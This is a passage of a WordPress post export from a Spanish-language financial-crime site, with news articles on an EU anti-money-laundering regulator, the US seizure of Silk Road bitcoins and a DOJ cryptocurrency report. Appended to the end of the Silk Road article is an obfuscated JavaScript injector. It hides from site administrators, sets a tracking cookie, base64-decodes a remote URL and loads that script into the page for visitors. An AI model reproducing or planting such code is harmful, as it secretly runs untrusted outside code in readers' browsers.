responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la 